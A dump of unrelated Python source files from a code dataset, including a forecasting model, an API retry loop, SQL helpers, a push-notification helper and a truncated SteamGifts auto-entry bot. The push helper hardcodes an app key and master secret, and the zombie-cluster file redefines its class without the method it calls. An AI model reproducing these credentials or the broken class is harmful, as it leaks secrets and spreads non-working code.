verify=self.ssl_verify)\n else:\n if not delete:\n def call():\n return self.session.get(self.endpoint + path, auth=self.auth, timeout=self.timeout,\n verify=self.ssl_verify)\n else:\n def call():\n return self.session.delete(self.endpoint + path, auth=self.auth, timeout=self.timeout,\n verify=self.ssl_verify)\n\n start_time = time()\n result = None\n for num_attempts in range(1, self.retry_max_attempts + 1):\n checked_result = None\n try:\n result = call()\n checked_result = APIResult(result).check_result()\n except requests.Timeout:\n if self.logger: self.logger.warning(\"UMAPI connection timeout...(%d seconds on try %d)\",\n self.timeout, num_attempts)\n checked_result = APIResult(success=False, timeout=0)\n except requests.ConnectionError:\n if self.logger: self.logger.warning(\"UMAPI connection error...(%d seconds on try %d)\",\n self.timeout, num_attempts)\n checked_result = APIResult(success=False, timeout=0)\n \n if checked_result.success:\n return result\n\n if self.logger: self.logger.warning(\"UMAPI timeout...service unavailable (code %s on try %d)\",\n checked_result.status_code, num_attempts)\n\n retry_wait = checked_result.timeout\n if retry_wait <= 0:\n # use exponential back-off with random delay\n delay = randint(0, self.retry_random_delay)\n retry_wait = (int(pow(2, num_attempts - 1)) * self.retry_first_delay) + delay\n\n if num_attempts < self.retry_max_attempts:\n if retry_wait > 0:\n if self.logger: self.logger.warning(\"Next retry in %d seconds...\", retry_wait)\n sleep(retry_wait)\n else:\n if self.logger: self.logger.warning(\"Immediate retry...\")\n total_time = int(time() - start_time)\n if self.logger: self.logger.error(\"UMAPI timeout...giving up after %d attempts (%d seconds).\",\n self.retry_max_attempts, total_time)\n raise UnavailableError(self.retry_max_attempts, total_time, checked_result.result)\n","sub_path":"umapi_client/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":27765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"281945756","text":"import torch\nimport torch.nn as nn\nfrom esrnn.contrib.utils.DRNN import DRNN\nimport numpy as np\n\nclass _ES(nn.Module):\n def __init__(self, mc):\n super(_ES, self).__init__()\n self.mc = mc\n self.n_series = self.mc.n_series\n self.seasonality = self.mc.seasonality\n self.output_size = self.mc.output_size\n\n # Level and Seasonality Smoothing parameters\n init_lev_sms = torch.ones((self.n_series, 1)) * 0.5\n init_seas_sms = torch.ones((self.n_series, 1)) * 0.5\n self.lev_sms = nn.Parameter(data=init_lev_sms, requires_grad=True)\n self.seas_sms = nn.Parameter(data=init_seas_sms, requires_grad=True)\n\n init_seas = torch.ones((self.n_series, self.seasonality)) * 0.5\n self.init_seas = nn.Parameter(data=init_seas, requires_grad=True)\n self.logistic = nn.Sigmoid()\n\n def forward(self, ts_object):\n \"\"\"\n Computes levels and seasons\n \"\"\"\n # Parse ts_object\n y = ts_object.y\n idxs = ts_object.idxs\n n_series, n_time = y.shape\n\n # Lookup Smoothing parameters per serie\n init_lvl_sms = [self.lev_sms[idx] for idx in idxs]\n init_seas_sms = [self.seas_sms[idx] for idx in idxs]\n\n lev_sms = self.logistic(torch.stack(init_lvl_sms).squeeze(1))\n seas_sms = self.logistic(torch.stack(init_seas_sms).squeeze(1))\n\n init_seas_list = [torch.exp(self.init_seas[idx]) for idx in idxs]\n init_seas = torch.stack(init_seas_list)\n\n # Initialize seasonalities and levels\n seasonalities = []\n levels =[]\n\n for i in range(self.seasonality):\n seasonalities.append(init_seas[:,i])\n seasonalities.append(init_seas[:,0])\n levels.append(y[:,0]/seasonalities[0])\n\n # Recursive seasonalities and levels\n for t in range(1, n_time):\n newlev = lev_sms * (y[:,t] / seasonalities[t]) + (1-lev_sms) * levels[t-1]\n newseason = seas_sms * (y[:,t] / newlev) + (1-seas_sms) * seasonalities[t]\n levels.append(newlev)\n seasonalities.append(newseason)\n \n levels = torch.stack(levels).transpose(1,0)\n seasonalities = torch.stack(seasonalities).transpose(1,0)\n\n return levels, seasonalities\n\n\nclass _RNN(nn.Module):\n def __init__(self, mc):\n super(_RNN, self).__init__()\n self.mc = mc\n self.layers = len(mc.dilations)\n\n layers = []\n for grp_num in range(len(mc.dilations)):\n if grp_num == 0:\n input_size = mc.input_size + mc.exogenous_size\n else:\n input_size = mc.state_hsize\n layer = DRNN(input_size,\n mc.state_hsize,\n n_layers=1,\n dilations=mc.dilations[grp_num],\n cell_type='LSTM')\n layers.append(layer)\n\n self.rnn_stack = nn.Sequential(*layers)\n\n if self.mc.add_nl_layer:\n self.MLPW = nn.Linear(mc.state_hsize, mc.state_hsize)\n\n self.adapterW = nn.Linear(mc.state_hsize, mc.output_size)\n \n def forward(self, input_data):\n for layer_num in range(len(self.rnn_stack)):\n residual = input_data\n output, _ = self.rnn_stack[layer_num](input_data)\n if layer_num > 0:\n output += residual\n input_data = output\n\n if self.mc.add_nl_layer:\n input_data = self.MLPW(input_data)\n input_data = torch.tanh(input_data)\n\n input_data = self.adapterW(input_data)\n return input_data\n\n\nclass _ESRNN(nn.Module):\n def __init__(self, mc):\n super(_ESRNN, self).__init__()\n self.mc = mc\n self.es = _ES(mc)\n self.rnn = _RNN(mc)\n\n def gaussian_noise(self, input_data, std=0.2):\n size = input_data.size()\n noise = torch.autograd.Variable(input_data.data.new(size).normal_(0, std))\n return input_data + noise\n\n def forward(self, ts_object):\n # parse mc\n batch_size = self.mc.batch_size\n input_size = self.mc.input_size\n output_size = self.mc.output_size\n exogenous_size = self.mc.exogenous_size\n noise_std = self.mc.noise_std\n\n # parse ts_object\n y = ts_object.y\n idxs = ts_object.idxs\n n_series, n_time = y.shape\n n_windows = n_time-input_size-output_size+1\n assert n_windows>0\n\n # Initialize windows, levels and seasonalities\n levels, seasonalities = self.es(ts_object)\n windows_y_hat = torch.zeros((n_windows, batch_size, input_size+exogenous_size))\n windows_y = torch.zeros((n_windows, batch_size, output_size))\n for i in range(n_windows):\n x_start = i\n x_end = input_size+i\n\n # Deseasonalization and normalization\n window_y_hat = y[:, x_start:x_end] / seasonalities[:, x_start:x_end]\n window_y_hat = window_y_hat / levels[:, [x_end]]\n window_y_hat = self.gaussian_noise(torch.log(window_y_hat), std=noise_std)\n\n # Concatenate categories\n if exogenous_size>0:\n window_y_hat = torch.cat((window_y_hat, ts_object.categories), 1)\n\n y_start = x_end\n y_end = x_end+output_size\n\n # Deseasonalization and normalization\n window_y = y[:, y_start:y_end] / seasonalities[:, y_start:y_end]\n window_y = window_y / levels[:, [x_end]]\n window_y = torch.log(window_y)\n\n windows_y_hat[i, :, :] += window_y_hat\n windows_y[i, :, :] += window_y\n\n windows_y_hat = self.rnn(windows_y_hat)\n return windows_y, windows_y_hat, levels\n\n def predict(self, ts_object):\n # parse mc\n batch_size = self.mc.batch_size\n input_size = self.mc.input_size\n output_size = self.mc.output_size\n exogenous_size = self.mc.exogenous_size\n seasonality = self.mc.seasonality\n\n # parse ts_object\n y = ts_object.y\n idxs = ts_object.idxs\n n_series, n_time = y.shape\n\n # evaluation mode\n self.eval()\n\n with torch.no_grad():\n # Initialize windows, levels and seasonalities\n levels, seasonalities = self.es(ts_object)\n\n x_start = n_time - input_size\n x_end = n_time\n\n # Deseasonalization and normalization\n windows_y_hat = y[:, x_start:x_end] / seasonalities[:, x_start:x_end]\n windows_y_hat = windows_y_hat / levels[:, [x_end-1]]\n windows_y_hat = torch.log(windows_y_hat)\n\n # Concatenate categories \n if exogenous_size>0:\n windows_y_hat = torch.cat((windows_y_hat, ts_object.categories), 1)\n\n windows_y_hat = torch.unsqueeze(windows_y_hat, 0)\n\n windows_y_hat = self.rnn(windows_y_hat)\n y_hat = torch.squeeze(windows_y_hat, 0)\n\n # Completion of seasonalities if prediction horizon is larger than seasonality\n # Naive2 like prediction, to avoid recursive forecasting\n if output_size > seasonality:\n repetitions = int(np.ceil(output_size/seasonality))-1\n last_season = seasonalities[:, -seasonality:]\n extra_seasonality = last_season.repeat((1, repetitions))\n seasonalities = torch.cat((seasonalities, extra_seasonality), 1)\n \n trends = torch.exp(y_hat)\n # Deseasonalization and normalization (inverse)\n y_hat = trends * levels[:, [n_time-1]]\n y_hat = y_hat * seasonalities[:, n_time:(n_time+output_size)]\n y_hat = y_hat.data.numpy()\n\n # Decomposition\n trends = trends.data.numpy()\n seasonalities = seasonalities[:, n_time:(n_time+output_size)].data.numpy()\n level = levels[:, [n_time-1]].data.numpy()\n\n return y_hat, trends, seasonalities, level\n","sub_path":"esrnn/contrib/utils/ESRNN.py","file_name":"ESRNN.py","file_ext":"py","file_size_in_byte":7119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"118556122","text":"#!/usr/bin/env python\nimport psycopg2\nimport pandas as pd\nimport numpy as np\nfrom abacus_tpot import tpot_config\n\n\ndef get_wages(ids):\n if len(ids) == 0:\n return None\n conn = psycopg2.connect(tpot_config.WAGE_RECORD_URI)\n df = pd.read_sql('''\n SELECT id, year, q1_wage, q2_wage, q3_wage, q4_wage\n FROM wage WHERE id IN %s\n ''', conn, params=(tuple(ids),))\n df = pd.melt(df, id_vars=['id', 'year'],\n value_vars=['q1_wage', 'q2_wage', 'q3_wage', 'q4_wage'])\n df['start_date'] = pd.to_datetime(\n pd.Series([str(i) for i in df.year.values]) + 'Q' +\n pd.Series([i[1] for i in df.variable.values]))\n df['end_date'] = df.start_date + pd.offsets.QuarterEnd()\n df['amount'] = df['value']\n del(df['variable'])\n del(df['value'])\n return df\n\n\ndef get_wage_table(ids):\n \"\"\"\n Return a table of wage data based on the transactional DB\n \"\"\"\n if len(ids) == 0:\n return None\n wages = get_wages(ids)\n conn = psycopg2.connect(tpot_config.WAREHOUSE_URI)\n df = pd.read_sql('''\n SELECT p.participant_id, o.program_code, p.provider_id,\n p.program_id, p.exit_type, p.exit_date, p.entry_date\n FROM program_participant p JOIN program o ON p.program_id=o.id\n WHERE participant_id IN %s\n ''', conn, params=(tuple(ids),))\n retval = pd.merge(wages, df, how='left', left_on='id',\n right_on='participant_id')\n return retval\n","sub_path":"abacus_tpot/input_db/wage_table.py","file_name":"wage_table.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"185799534","text":"from collections import OrderedDict\n\n\nclass Story(object):\n\n def __init__(self, story_id, story_name, sport, provider, story_num):\n self.story_id = story_id\n self.story_name = story_name\n self.sport = sport\n self.provider = provider\n self.story_num = story_num\n\n def get_format1(self):\n story_filename = '{}_{}_{}_{}.story'.format(self.story_id, self.__storify(self.provider), self.__storify(self.sport), self.__storify(self.story_name))\n return '{}\\t\\t{}\\t{}\\t{}\\t{}\\t{}'.format(story_filename.ljust(60), self.story_id, self.provider.ljust(15), self.sport.ljust(15), self.story_num, self.story_name)\n\n def get_format2(self):\n story_filename = '{}_{}_{}_{}.story'.format(self.__storify(self.provider), self.__storify(self.sport), self.__storify(self.story_name), self.story_id)\n return '{}\\t\\t{}\\t{}\\t{}\\t{}\\t{}'.format(story_filename.ljust(60), self.story_id, self.provider.ljust(15), self.sport.ljust(15), self.story_num, self.story_name)\n\n def get_format3(self):\n story_filename = '{}_{}_{}_{}.story'.format(self.story_num, self.__storify(self.provider), self.__storify(self.sport), self.__storify(self.story_name))\n return '{}\\t\\t{}\\t{}\\t{}\\t{}\\t{}'.format(story_filename.ljust(60), self.story_id, self.provider.ljust(15), self.sport.ljust(15), self.story_num, self.story_name)\n\n def get_format4(self):\n shorten_story_num = self.story_num[1:]\n story_filename = '{}_{}_{}_{}.story'.format(self.__storify(self.provider), self.__storify(self.sport), shorten_story_num, self.__storify(self.story_name))\n return '{}\\t\\t{}\\t{}\\t{}\\t{}\\t{}'.format(story_filename.ljust(60), self.story_id, self.provider.ljust(15), self.sport.ljust(15), self.story_num, self.story_name)\n\n @staticmethod\n def __storify(story_name):\n return story_name.replace(' ', '_').lower()\n\n\nclass StoryGen(object):\n\n story_num_len = 5\n enable_padding = False\n padding = '1'\n\n PROVIDERS = OrderedDict([\n ('01', 'RunningBall')\n , ('02', 'Betradar')\n , ('03', 'IMG')\n , ('04', 'Enetpulse')\n ])\n\n SUBSCRIBERS = OrderedDict([\n ('01', 'NLS')\n , ('02', 'RT')\n , ('03', 'KTC')\n ])\n\n SPORTS = OrderedDict([\n ('01', 'Football')\n , ('02', 'Tennis')\n , ('03', 'Basketball')\n , ('04', 'Ice Hockey')\n ])\n\n SAMPLE_STORIES = [\n 'Catch Up'\n , 'Schedule'\n , 'Subscribe'\n , 'Event List'\n , 'Connection Problems'\n ]\n\n SUPPORTED_SPORTS = {\n 'RunningBall': ['Football', 'Basketball']\n , 'Betradar': ['Football', 'Tennis', 'Ice Hockey']\n , 'IMG': ['Tennis']\n }\n\n @staticmethod\n def generate():\n StoryGen.enable_padding = False\n\n print('\\n\\n* Format #1')\n stories = StoryGen.generate_story()\n for story in stories:\n print(story.get_format1())\n\n print('\\n\\n* Format #2')\n for story in stories:\n print(story.get_format2())\n\n print('\\n\\n* Format #3')\n for story in stories:\n print(story.get_format3())\n\n print('\\n\\n* Format #4')\n for story in stories:\n print(story.get_format4())\n\n # With Padding\n #StoryGen.enable_padding = True\n #print('\\n\\n* With Padding')\n #stories = StoryGen.generate_story()\n #for story in stories:\n # print(story)\n\n @staticmethod\n def generate_story():\n stories = []\n\n for provider in StoryGen.PROVIDERS.items():\n for sport in StoryGen.SPORTS.items():\n if not StoryGen.is_supported_sport(provider[1], sport[1]):\n continue\n\n for story_num in range(0, len(StoryGen.SAMPLE_STORIES)):\n formatted_story_num = StoryGen.format_story_num(story_num)\n story_name = StoryGen.SAMPLE_STORIES[story_num]\n story_id = StoryGen.to_story_id(sport[0], provider[0], formatted_story_num)\n\n story = Story(story_id, story_name, sport[1], provider[1], formatted_story_num)\n stories.append(story)\n\n return stories\n\n @staticmethod\n def is_supported_sport(provider_name, sport_name):\n if provider_name not in StoryGen.SUPPORTED_SPORTS:\n return False\n\n for sport in StoryGen.SUPPORTED_SPORTS[provider_name]:\n if sport_name == sport:\n return True\n\n return False\n\n @staticmethod\n def to_story_id(sport, provider, story_num):\n story_id = '{}{}{}'.format(provider, sport, story_num)\n\n if StoryGen.enable_padding:\n return '{}{}'.format(StoryGen.padding, story_id)\n else:\n return str(int(story_id))\n\n @staticmethod\n def format_story_num(story_num):\n story_num = '{}0'.format(story_num).zfill(StoryGen.story_num_len)\n return '{}{}'.format(str(int(story_num[:1]) + 1), story_num[1:])\n\n\nif __name__ == '__main__':\n StoryGen.generate()\n","sub_path":"Scripts/automation/fs_ai_story_num_gen/fs_ai_story_num_gen.py","file_name":"fs_ai_story_num_gen.py","file_ext":"py","file_size_in_byte":5042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"34822392","text":"# coding:utf-8\n__author__ = 'Albert'\n\nimport jpush\nfrom jpush.common import JPushFailure\n\nimport logging\nlogger = logging.getLogger(__name__)\n\napp_key = '5b5a549aee114a69f12bfca5'\nmaster_secret = '1a7c2513449a78e8c8107f29'\n\n_jpush = jpush.JPush(app_key, master_secret)\n\n\ndef push_by_user(user_id, content):\n \"\"\"\n 根据用户推送\n user_id -- 根据用户id推送\n content -- 推送内容\n :return:\n \"\"\"\n try:\n push = _jpush.create_push()\n push.audience = jpush.audience(jpush.alias(user_id))\n push.notification = jpush.notification(alert=content)\n push.platform = jpush.all_\n push.send()\n return 1\n except JPushFailure:\n logger.info('push error, user id [%s], content [%s]', user_id, content)\n return 200\n except:\n logger.info('network error, user id [%s], content [%s]', user_id, content)\n return 100\n","sub_path":"mis/tools/jpush_help.py","file_name":"jpush_help.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"71751554","text":"import sys\n\nsys.path.append('gen-py')\n\nfrom tutorial import Calculator\nfrom tutorial.ttypes import InvalidOperation, Operation\nfrom shared.ttypes import SharedStruct\n\nfrom thrift.transport import TSocket\nfrom thrift.transport import TTransport\nfrom thrift.protocol import TBinaryProtocol\nfrom thrift.server import TServer\n\nclass CalculatorHandler:\n def __init__(self):\n self.log = {}\n\n def ping(self):\n print('ping...')\n\n def add(self, n1, n2):\n return n1 + n2\n\n def sub(self, n1, n2):\n print('%d-%d=%d' % (n1, n2, n1-n2))\n\nif __name__ == '__main__':\n handler = CalculatorHandler()\n processor = Calculator.Processor(handler)\n transport = TSocket.TServerSocket(port=9090)\n tfactory = TTransport.TBufferedTransportFactory()\n pfactory = TBinaryProtocol.TBinaryProtocolFactory()\n\n server = TServer.TSimpleServer(processor, transport, tfactory, pfactory)\n print('server is running ...')\n server.serve()\n print('done')\n","sub_path":"python/thrift_test/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"571781018","text":"# 맨 처음에는 첫번째 열의 어느 행에서든 출발할 수 있습니다.\n# 이후 m번에 걸쳐서 매번 오른쪽 위, 오른쪽, 오른쪽 아래 3가지 중 하나의 위치로 이동해야 합니다.\n# 채굴자가 얻을 수 있는 금의 최대 크기를 출력하는 프로그램\n\n\nimport sys\n\n# 테스트 케이스\nT = int(input())\n\nfor _ in range(T):\n\n # 입력\n n, m = map(int, sys.stdin.readline().rstrip().split())\n array = list(map(int, sys.stdin.readline().rstrip().split()))\n\n # DP 설정\n dp = []\n idx = 0\n for i in range(n):\n dp.append(array[idx:idx + m])\n idx += m\n\n\n # 다이나믹 프로그래밍 진행\n for j in range(1, m):\n for i in range(n):\n # 왼쪽 위에서 오는 경우\n if i == 0:\n left_up = 0\n else:\n left_up = dp[i - 1][j - 1]\n\n # 왼쪽 아래에서 오는 경우\n if i == n - 1:\n left_down = 0\n else:\n left_down = dp[i + 1][j - 1]\n\n # 왼쪽에서 오는 경우\n left = dp[i][j - 1]\n dp[i][j] = dp[i][j] + max(left_up, left_down, left)\n\n result = 0\n for i in range(n):\n result = max(result, dp[i][m - 1])\n print(result)","sub_path":"Python-for-coding-test/8-Dynamic_Programming/Q31-금광.py","file_name":"Q31-금광.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"179779445","text":"# 返回一共有多少个zombie cluster\nclass Solution:\n FRIEND = '1'\n def zombieCluster(self, n, matrix):\n count = 0\n visited = [False] * n\n for i in range(n):\n if not visited[i]:\n count += 1\n self.bfs(n, i, visited, matrix)\n return count\n\n def bfs(self, n, index, visited, matrix):\n queue = [index]\n visited[index] = True\n while queue:\n top = queue.pop(0)\n neighbors = self.getNeighbors(n, matrix, top)\n for zombie_index in neighbors:\n if not visited[zombie_index]:\n queue.append(zombie_index)\n visited[zombie_index] = True\n\n def getNeighbors(self, n, matrix, index):\n zombies = []\n for i in range(n):\n if i != index and matrix[index][i] == Solution.FRIEND: # 类型一定要匹配 !\n zombies.append(i)\n return zombies\n\nclass Solution:\n FRIEND = '1'\n def zombieCluster(self, n, zombies):\n count = 0\n visited = [False] * n\n for i in range(n):\n if not visited[i]:\n count += 1\n self.bfs(n, i, visited, zombies)\n return count\n\n\nres = Solution().zombieCluster(4, ['1100','1110','0110','0001'])\nprint(res) # 2\n\nres = Solution().zombieCluster(5, ['10000','01000','00100','00010','00001'])\nprint(res) # 5\n\nres = Solution().zombieCluster(5, ['10000',\n '01000',\n '00110',\n '00110',\n '00001'])\nprint(res) # 4\n\n","sub_path":"wepay/zombie.py","file_name":"zombie.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"91299738","text":"from distutils.core import setup\nimport sys, os\n\nhere = os.path.abspath(os.path.dirname(__file__))\nREADME = open(os.path.join(here, 'README.rst')).read()\nNEWS = open(os.path.join(here, 'NEWS.txt')).read()\n\n\nversion = '0.1.v2.6'\n\nsys.path.insert(0, here)\nimport peckcheck\npeckcheck_doc = 'Description\\n===========\\n' + peckcheck.__doc__\n\nsetup(name='peckcheck',\n version=version,\n description=\"Randomized testing library for Python; like a subset of Haskell's QuickCheck.\",\n long_description=README + '\\n\\n' + NEWS + '\\n\\n' + peckcheck_doc,\n classifiers=\"\"\"Development Status :: 7 - Inactive\nIntended Audience :: Developers\nLicense :: OSI Approved :: Python Software Foundation License\nOperating System :: OS Independent\nProgramming Language :: Python :: 2.6\nTopic :: Software Development :: Testing\"\"\".split('\\n'),\n keywords='quickcheck testing',\n author='Darius Bacon',\n author_email='darius@wry.me',\n url='http://accesscom.com/~darius/software/clickcheck.html',\n license='PSF License',\n py_modules=['peckcheck'])\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"219848627","text":"from functools import reduce\nfrom integration import managers\nimport utils\n\ndef command(args, cfg):\n manager_order = cfg['managers']['order'].splitlines()\n manager_order = [s for s in manager_order if s]\n\n pkg_path = utils.concatPaths(cfg['paths']['base_path'],\n cfg['paths']['pkg_path'])\n\n rows = []\n for integration in manager_order:\n\n print(\"[\" + integration + \"]\")\n manager = managers[integration](False)\n\n # Get listed packages\n pkgs_by_config = manager.getPackagesByConfig(pkg_path)\n\n all_pkgs = set(reduce(lambda a, b: a + b, pkgs_by_config.values()))\n\n # Get the packages to be *installed*\n\n # Compare with the list of full packages because some of the requested\n # packages might be dependencies on others, so .leaves() would be wrong\n new_pkgs = all_pkgs.difference(manager.list())\n\n\n # Get the packages to be *uninstalled*\n\n # Compare with the packages that aren't dependencies (leaves) so that we\n # don't uninstall a required package\n old_pkgs = manager.leaves().difference(all_pkgs)\n\n\n # Print new packages\n print(\" [new]\")\n no_pkgs=True\n for cfg_path in sorted(pkgs_by_config.keys()):\n\n pkgs = set(pkgs_by_config[cfg_path])\n new_pkgs = pkgs.intersection(new_pkgs)\n\n if len(new_pkgs) != 0:\n print(\" [\" + cfg_path + \"]\")\n for pkg in new_pkgs:\n print(\" \" + pkg)\n no_pkgs=False\n if no_pkgs:\n print(\" (none)\")\n\n\n print()\n # Print existing packages\n print(\" [existing]\")\n no_pkgs=True\n for cfg_path in sorted(pkgs_by_config.keys()):\n\n pkgs = set(pkgs_by_config[cfg_path])\n existing_pkgs = pkgs.difference(new_pkgs.union(old_pkgs))\n\n if len(existing_pkgs) != 0:\n print(\" [\" + cfg_path + \"]\")\n for pkg in existing_pkgs:\n print(\" \" + pkg)\n no_pkgs=False\n if no_pkgs:\n print(\" (none)\")\n\n\n print()\n # Print new packages\n print(\" [old]\")\n no_pkgs=True\n for cfg_path in sorted(pkgs_by_config.keys()):\n\n pkgs = set(pkgs_by_config[cfg_path])\n old_pkgs = pkgs.intersection(old_pkgs)\n\n if len(old_pkgs) != 0:\n print(\" [\" + cfg_path + \"]\")\n for pkg in old_pkgs:\n print(\" \" + pkg)\n no_pkgs=False\n if no_pkgs:\n print(\" (none)\")\n\n print()\n","sub_path":"command/list_cmd.py","file_name":"list_cmd.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"537966254","text":"import flask\nfrom mysqlConnect import *\nimport json\n#通过http将结果发送\napp = flask.Flask(__name__)\n@app.route('/recommend')\ndef recommend():\n userID = 0\n #通过get方法接受参数\n if flask.request.method =='GET':\n userID = flask.request.args.get('userID')\n #通过post......\n elif flask.request.method == 'POST':\n userID = flask.request.form.get('userID')\n print('userid:', userID)\n articles = Send(userID)\n return flask.Response(json.dumps(articles), mimetype='application/json')\n\nif __name__ == '__main__':\n app.run(port=3000, host='0.0.0.0')\n","sub_path":"source/second_iteration/recommendAlgorithm/massageSend.py","file_name":"massageSend.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"242045549","text":"#!/usr/bin/env python\nimport env\nfrom config_descr import NAME\nfrom common.description import Description\nfrom common.shared_logger import g_logger\nfrom common.config import get_global_property\nfrom common import descr_argument_parser\nimport internal.svn.command as svn\n\n\ndef get_context_description():\n return Description({\n NAME.art_dir: {\n 'default': get_global_property(NAME.art_dir),\n 'help': 'path to art dir',\n },\n })\n\ng_art_tree_relative = [\n 'Data',\n 'DataSource/3d/FX',\n 'DataSource/3d/Tanks',\n 'DataSource/Gfx/Particles',\n]\n\n\ndef get_input_context(*argv, **kwargs):\n parser = descr_argument_parser.DescrArgumentParser()\n parser.add_descr(get_context_description())\n return parser.get_context(*argv, **kwargs)\n\n\ndef do(context):\n g_logger.info(context)\n\n svn.checkout_tree(context[NAME.art_dir], get_global_property(NAME.art_url), g_art_tree_relative)\n\n\nif __name__ == '__main__':\n do(get_input_context())","sub_path":"Scripts/helpers/checkout_art.py","file_name":"checkout_art.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"539485894","text":"\"\"\"\nModule to handle parsing and analysis methods\n\"\"\"\n\nfrom selenium.common import exceptions\nfrom bs4 import BeautifulSoup, FeatureNotFound\n\nfrom sg_variables import TempVars, AdjustVars, ConfigVars, phantom_browser, sg_link\nfrom sg_support import call_func as call\nif phantom_browser:\n from sg_selenium import Phantom as Browser\nelse:\n from sg_selenium import Browser\n\n\ndef items_parser(section=None):\n # Parsing entries\n html_doc = Browser.driver.page_source\n try:\n bs_doc = BeautifulSoup(html_doc, \"lxml\")\n except FeatureNotFound:\n bs_doc = BeautifulSoup(html_doc, \"html.parser\")\n if section:\n page_items = bs_doc.find(class_=section).find_next_sibling('div')\n else:\n page_items = bs_doc.find_all(class_='table__row-outer-wrap')\n return page_items\n\n\ndef page_parser(wishlist, page):\n \"\"\"\n Function to open pages and parse them\n \"\"\"\n\n link = \"https://www.steamgifts.com/giveaways/search?page=\" + str(page)\n name = \"GAs\"\n\n if wishlist:\n link += \"&type=wishlist\"\n name = \"Wishlist\"\n\n # Open page\n print(\"Open and parse\", name, \"page -\", page)\n call(Browser.open_page, link)\n\n # Check if any entries on current page\n Browser.wait_for_element(\"pagination__results\", link)\n try:\n pagination = Browser.find_text(\"pagination__results\")\n except exceptions.NoSuchElementException:\n pagination = \"\"\n if \"No results were found.\" in pagination:\n print(\"It was the last\", name, \"page.\")\n else:\n # Check if there are any non-faded entries on current page\n try:\n Browser.driver.find_element_by_xpath(\"//div[@class='giveaway__row-inner-wrap']\")\n except exceptions.NoSuchElementException:\n print(\"No new entries on this page.\")\n else:\n # Parse page\n ga_section = items_parser(\"page__heading\")\n ga_items = [i for i in ga_section.find_all(class_='giveaway__row-inner-wrap')\n if i not in ga_section.find_all(class_='is-faded')]\n # Analyze each entry and append it to list\n for ga in ga_items:\n call(check_ga, ga, wishlist)\n return page + 1\n\n\ndef check_ga(ga, wishlist):\n \"\"\"\n Function to analyze giveaway\n \"\"\"\n\n link = sg_link + ga.find('a').get('href')\n\n # Enter 0P giveaway\n if ga.find(text=\"(0P)\"):\n call(Browser.open_page, link)\n Browser.click_button('sidebar__entry-insert', link)\n print(\"\\n|-- New 0P giveaway entered. -\", link)\n\n # Parse usual giveaway\n else:\n parsed_entry = {'min_sorting': 0, 'hour_sorting': 0}\n\n # Set wishlist flag\n if wishlist:\n parsed_entry['is_wishlist'] = \"+\"\n else:\n parsed_entry['is_wishlist'] = \"-\"\n\n # Get entry link\n parsed_entry['url'] = link\n\n # Get entry name\n no_encoding = ga.find(class_='giveaway__heading__name').text\n parsed_entry['title'] = no_encoding.encode('utf8').decode('ascii', 'ignore')\n\n # Get entry time and priority index\n parsed_entry['remaining_time'] = ga.find(class_='giveaway__columns').span.text\n if \"minute\" in parsed_entry['remaining_time']:\n parsed_entry['min_sorting'] = int(parsed_entry['remaining_time'][:2])\n parsed_entry['time_limit_index'] = 1\n TempVars.time_limit = 1\n elif \"hour\" in parsed_entry['remaining_time']:\n parsed_entry['hour_sorting'] = int(parsed_entry['remaining_time'][:2])\n parsed_entry['time_limit_index'] = 2\n TempVars.time_limit = 2\n elif \"1 day\" in parsed_entry['remaining_time']:\n parsed_entry['time_limit_index'] = 3\n TempVars.time_limit = 3\n elif \"2 days\" in parsed_entry['remaining_time']:\n parsed_entry['time_limit_index'] = 4\n TempVars.time_limit = 4\n elif \"days\" in parsed_entry['remaining_time']:\n parsed_entry['time_limit_index'] = 5\n TempVars.time_limit = 5\n else:\n parsed_entry['time_limit_index'] = 6\n TempVars.time_limit = 6\n\n # Get entries number\n entries_text = ga.find(class_='giveaway__links').span.text\n if entries_text[-1] == \"s\":\n entries_text = entries_text[:-8]\n else:\n entries_text = entries_text[:-6]\n parsed_entry['entries_number'] = int(entries_text.replace(',', ''))\n\n # Get points and copies number\n points_copies = ga.find(class_='giveaway__heading__thin').text\n if points_copies[-2] == \"s\":\n points_text = ga.find(class_='giveaway__heading').span.find_next_sibling().text\n parsed_entry['points_to_enter'] = int(points_text[1:-2])\n parsed_entry['copies_number'] = int(points_copies[1:-8].replace(',', ''))\n else:\n parsed_entry['points_to_enter'] = int(points_copies[1:-2])\n parsed_entry['copies_number'] = 1\n\n # Calculate number of contestants and chance to win\n parsed_entry['contestants'] = int(parsed_entry['entries_number'] / parsed_entry['copies_number'])\n parsed_entry['chance_to_win'] = round(100 * parsed_entry['copies_number'] /\n (parsed_entry['entries_number'] + 1), 2)\n\n # Check if has level requirement\n try:\n ga.find(class_='giveaway__column--contributor-level')\n except exceptions.NoSuchElementException:\n parsed_entry['have_level'] = \"-\"\n else:\n parsed_entry['have_level'] = \"+\"\n\n # Check if has group requirement\n try:\n ga.find(class_='giveaway__column--group')\n except exceptions.NoSuchElementException:\n parsed_entry['have_group'] = \"-\"\n else:\n parsed_entry['have_group'] = \"+\"\n\n # Append entry to list\n if 